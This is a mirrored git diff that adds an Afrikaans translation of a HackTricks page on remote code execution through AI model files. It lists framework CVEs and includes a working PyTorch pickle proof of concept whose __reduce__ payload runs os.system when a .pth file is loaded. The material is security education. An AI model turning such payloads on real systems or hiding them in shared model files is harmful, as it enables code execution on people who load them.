mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Models-RCE.md'] to af
This commit is contained in:
parent
58dbb53ede
commit
bc81a8a58d
@ -15,14 +15,51 @@ Tydens die skryf hiervan is hier 'n paar voorbeelde van hierdie tipe kwesbaarhed
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (onveilige YAML) <br> **CVE-2024-3660** (Keras Lambda) | Laai model vanaf YAML gebruik `yaml.unsafe_load` (kode exec) <br> Laai model met **Lambda** laag voer arbitrêre Python kode uit | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | Gemaakte `.tflite` model veroorsaak heelgetal oorgang → heap korrupsie (potensiële RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Laai 'n model via `joblib.load` voer pickle uit met aanvaller se `__reduce__` payload | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (onveilige `np.load`) *betwis* | `numpy.load` standaard het toegelaat dat gepekelde objekreeks – kwaadwillige `.npy/.npz` veroorsaak kode exec | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (onveilige `np.load`) *betwis* | `numpy.load` standaard het toegelaat dat gepekelde objekreeks – kwaadwillige `.npy/.npz` veroorsaak kode exec | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversaal) <br> **CVE-2024-5187** (tar traversaal) | ONNX model se eksterne gewigte pad kan die gids ontsnap (lees arbitrêre lêers) <br> Kwaadwillige ONNX model tar kan arbitrêre lêers oorskryf (wat lei tot RCE) | |
|
||||
| ONNX Runtime (ontwerp risiko) | *(Geen CVE)* ONNX pasgemaakte ops / beheerstroom | Model met pasgemaakte operateur vereis laai van aanvaller se inheemse kode; komplekse model grafieke misbruik logika om onbedoelde berekeninge uit te voer | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (pad traversaal) | Gebruik model-laai API met `--model-control` geaktiveer laat relatiewe pad traversaal toe om lêers te skryf (bv. oorskryf `.bashrc` vir RCE) | |
|
||||
| **GGML (GGUF formaat)** | **CVE-2024-25664 … 25668** (meervoudige heap oorgange) | Misvormde GGUF model lêer veroorsaak heap buffer oorgange in parser, wat arbitrêre kode-uitvoering op die slagoffer stelsel moontlik maak | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (pad traversaal) | Gebruik model-laai API met `--model-control` geaktiveer laat relatiewe pad traversaal toe om lêers te skryf (bv., oorskryf `.bashrc` vir RCE) | |
|
||||
| **GGML (GGUF formaat)** | **CVE-2024-25664 … 25668** (meervoudige heap oorgange) | Misvormde GGUF model lêer veroorsaak heap buffer oorgange in parser, wat arbitrêre kode-uitvoering op die slagoffer stelsel moontlik maak | |
|
||||
| **Keras (ou formate)** | *(Geen nuwe CVE)* Erflike Keras H5 model | Kwaadwillige HDF5 (`.h5`) model met Lambda laag kode voer steeds uit op laai (Keras safe_mode dek nie ou formaat nie – “downgrade aanval”) | |
|
||||
| **Ander** (generies) | *Ontwerp fout* – Pickle serialisering | Baie ML gereedskap (bv. pickle-gebaseerde model formate, Python `pickle.load`) sal arbitrêre kode wat in model lêers ingebed is uitvoer tensy dit gemitigeer word | |
|
||||
| **Ander** (generies) | *Ontwerp fout* – Pickle serialisering | Baie ML gereedskap (bv., pickle-gebaseerde model formate, Python `pickle.load`) sal arbitrêre kode wat in model lêers ingebed is uitvoer tensy dit gemitigeer word | |
|
||||
|
||||
Boonop is daar 'n paar python pickle-gebaseerde modelle soos die wat deur [PyTorch](https://github.com/pytorch/pytorch/security) gebruik word wat gebruik kan word om arbitrêre kode op die stelsel uit te voer as hulle nie met `weights_only=True` gelaai word nie. So, enige pickle-gebaseerde model kan spesiaal kwesbaar wees vir hierdie tipe aanvalle, selfs al is hulle nie in die tabel hierbo gelys nie.
|
||||
|
||||
Voorbeeld:
|
||||
|
||||
- Skep die model:
|
||||
```python
|
||||
# attacker_payload.py
|
||||
import torch
|
||||
import os
|
||||
|
||||
class MaliciousPayload:
|
||||
def __reduce__(self):
|
||||
# This code will be executed when unpickled (e.g., on model.load_state_dict)
|
||||
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))
|
||||
|
||||
# Create a fake model state dict with malicious content
|
||||
malicious_state = {"fc.weight": MaliciousPayload()}
|
||||
|
||||
# Save the malicious state dict
|
||||
torch.save(malicious_state, "malicious_state.pth")
|
||||
```
|
||||
- Laai die model:
|
||||
```python
|
||||
# victim_load.py
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
|
||||
class MyModel(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.fc = nn.Linear(10, 1)
|
||||
|
||||
model = MyModel()
|
||||
|
||||
# ⚠️ This will trigger code execution from pickle inside the .pth file
|
||||
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
|
||||
|
||||
# /tmp/pwned.txt is created even if you get an error
|
||||
```
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user